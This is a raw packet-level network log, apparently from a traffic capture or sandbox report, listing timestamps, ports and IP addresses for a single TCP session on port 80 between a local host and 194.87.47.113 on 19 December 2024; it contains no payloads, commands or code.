Dec 19, 2024 08:09:36.611776114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.612390041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.612500906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.612543106 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.613189936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.613296032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.613343954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.613977909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.614105940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.614223957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.614799023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.614891052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.614933014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.615572929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.615694046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.616023064 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.616363049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.616481066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.616590023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.617185116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.617286921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.617325068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.617336988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.617964983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.618119001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.618186951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.618777990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.618891954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.619081020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.619556904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.619667053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.619756937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.620357037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.620462894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.620507956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.621211052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.621335030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.621392965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.621973991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.622075081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.622184038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.622759104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.622898102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.622936964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.623534918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.623646975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.623694897 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.624440908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.624517918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.624564886 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.625041962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.625157118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.625243902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.625296116 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.625902891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.625921965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.625973940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.626014948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.626720905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.626832962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.627044916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.627501965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.627615929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.627654076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.628360987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.628463984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.628509045 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.629112959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.629229069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.629272938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.629899979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.630028009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.630074978 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.630709887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.630827904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.630870104 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.631510019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.631650925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.631824970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.632344961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.632462978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.632503033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.633100033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.633214951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.633270979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.633889914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.634000063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.634046078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.634673119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.634880066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.634962082 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.635648012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.635752916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.635937929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.636323929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.636394978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.636460066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.637089968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.637202024 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.637248993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.637866020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.637972116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.638014078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.638679981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.638758898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.638832092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.639439106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.639556885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.639647007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.640247107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.640330076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.640368938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.641079903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.641252041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.641297102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.641839027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.641957045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.642038107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.642663956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.642757893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.642802000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.643421888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.643528938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.643570900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.644351959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.644486904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.644598007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.645040035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.645159006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.645200014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.645869970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.645963907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.646050930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.646610022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.646734953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.646778107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.647449017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.647543907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.647737980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.648242950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.648366928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.648411036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.649033070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.649106979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.649156094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.649789095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.649907112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.649960995 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.650568962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.650706053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.650775909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.651386023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.651509047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.651557922 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.652180910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.652290106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.652334929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.653007030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.653105021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.653156042 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.676987886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.677050114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.677134037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.736802101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.736886978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.737061977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.737231970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.737394094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.737436056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.737992048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.738094091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.738200903 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.738825083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.738900900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.739028931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.739571095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.739748955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.739841938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.740367889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.740485907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.740634918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.741168022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.741219997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.741288900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.741966963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.742046118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.742095947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.742770910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.742892981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.742933989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.743555069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.743654966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.743743896 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.744354010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.744425058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.744508982 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.745132923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.745250940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.745312929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.745942116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.746042013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.746083975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.746762037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.746850967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.746917009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.747539043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.747597933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.747780085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.748328924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.748441935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.748490095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.749145031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.749294043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.749341965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.749937057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.750065088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.750102043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.750726938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.750848055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.751032114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.751518965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.751576900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.751617908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.752325058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.752424002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.752469063 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.753099918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.753217936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.753274918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.753897905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.754009008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.754050016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.754658937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.754889965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.754954100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.754966974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.755659103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.755724907 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.755738974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.756448984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.756489992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.756562948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.757195950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.757278919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.757303953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.757986069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.758047104 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.758083105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.758748055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.758848906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.758867979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.759620905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.759676933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.759716988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.760262966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.760304928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.760456085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.761022091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.761064053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.761161089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.761775970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.761837006 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.761907101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.762527943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.762593985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.762633085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.763277054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.763412952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.763415098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.764056921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.764120102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.764151096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.764687061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.764763117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.764799118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.765414000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.765459061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.765495062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.766117096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.766161919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.766185999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.766834021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.766884089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.766900063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.767533064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.767569065 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.767638922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.768237114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.768286943 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.768342972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.768950939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.768996000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.769052029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.769697905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.769751072 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.769752979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.770342112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.770390034 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.770430088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.771039963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.771076918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.771190882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.771709919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.771754980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.771825075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.772393942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.772428989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.772466898 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.773088932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.773133993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.773164988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.773731947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.773775101 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.773829937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.774425030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.774467945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.774519920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.775078058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.775170088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.775197983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.775731087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.775782108 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.775850058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.776406050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.776489019 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.776514053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.777093887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.777138948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.777214050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.777776957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.777818918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.777836084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.778423071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.778470039 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.778506041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.852389097 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.897284985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.897305965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.897372961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.897891998 CET	80	49862	194.87.47.113	192.168.2.6
